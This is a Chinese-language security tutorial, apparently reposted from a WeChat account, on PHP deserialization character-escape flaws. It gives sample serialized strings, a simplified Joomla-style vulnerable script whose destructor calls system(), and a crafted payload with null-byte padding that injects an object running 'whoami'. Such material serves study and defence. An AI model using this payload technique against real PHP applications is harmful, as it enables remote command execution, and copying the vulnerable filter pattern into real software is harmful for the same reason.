PHP反序列化字符逃逸

admin 2025年6月15日02:20:34评论21 views字数 1824阅读6分4秒阅读模式

漏洞产生原因:当开发者先将对象序列化然后再将对象中的字符进行过滤,最后再将其反序列化。这个时候就有可能产生PHP反序列化字符逃逸。

前置:
php序列化的特性


PHP反序列化字符逃逸

在进行反序列化时会对着s的值即字符穿长度,向右进项读取。

当读取的长度不符合时会报错。

PHP反序列化字符逃逸

以为此时s为3但是他的值是name长度为4,在php中反序列化结束符号是;结尾的,但是当读取到第三位时即nam没有遇到分号,所以会报错,当我们在后面添加分号就不会报错。
 
例子:
正常的将对象序列化:
可见name的值为27位字符长度
我们需要逃逸出的payload的长度位24


PHP反序列化字符逃逸

 

假设h是危险字符对其进行过滤,将一个h替换9个t,那么3个h就会变成27个t,

O:4:"test":2:{s:4:"name";s:27:"ttttttttttttttttttttttttttt";s:3:"age";s:3:"yess";}";s:3:"age";s:2:"wq";}

那么由于name后的字符长度值s仍然为27,那么如果变成了27个t,按照反序列化的规则,到第27个字符就读取结束以;来结束。

 

PHP反序列化字符逃逸

 

逃逸成功

PHP反序列化字符逃逸

 

Joomla 分析

从网上copy简化的Joomla代码:

<?phpclass evil{    public $cmd;    public function __construct($cmd){        $this->cmd = $cmd;    }    public function __destruct(){        system($this->cmd);    }}class User{    public $username;    public $password;    public function __construct($username, $password){        $this->username = $username;        $this->password = $password;    }}function write($data){    $data = str_replace(chr(0).'*'.chr(0), '', $data);    file_put_contents("dbs.txt", $data);}function read(){    $data = file_get_contents("dbs.txt");    $r = str_replace('', chr(0).'*'.chr(0), $data);    return $r;}if(file_exists("dbs.txt")){    unlink("dbs.txt");  }$username = "peri0d";$password = "1234";$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';write(serialize(new User($username, $password)));var_dump(unserialize(read()));

PHP反序列化字符逃逸

可以看到可以通过__destruct魔术方法来调用system来系统命令,所以我们在构造payload的时候,可以构造出evil这个类,当该类销毁是会触发__destruct方法,所以我们可以在构造出payload:$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';我们可以让evil逃逸出来,这样反序列化的时候就会触发,evil类中的__destruct的方法。
 
接下来看下面的代码:
注意需要符合序列化的标准所以$password = '1234";'.$payload."}";
PHP反序列化字符逃逸
那么我们逃逸的思路就是让username的值把password的值包括进去,只留下evil类是我们需要逃逸出来的。所以我们username需要包含";s:8:"password";s:54:"1234这么多,一共27个长度。

PHP反序列化字符逃逸

 

接下来在看源代码中看到read这个方法

PHP反序列化字符逃逸

把一组替换成3个字符长度,长度减少一半。

PHP反序列化字符逃逸


我们在调用read方法时后会进行过滤,\0\0\0 6个字符长度会被替换成3个字符长度

所以我们可以设置username的值为9组 那么经过read方法过滤后长度就会缩短到27个,就会包含到上图的password的值

$username = "peri0d\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";


所以我们最后执行

PHP反序列化字符逃逸

PHP反序列化字符逃逸

 

原文始发于微信公众号(是恒恒呐):PHP反序列化字符逃逸

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月15日02:20:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP反序列化字符逃逸https://cn-sec.com/archives/951619.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息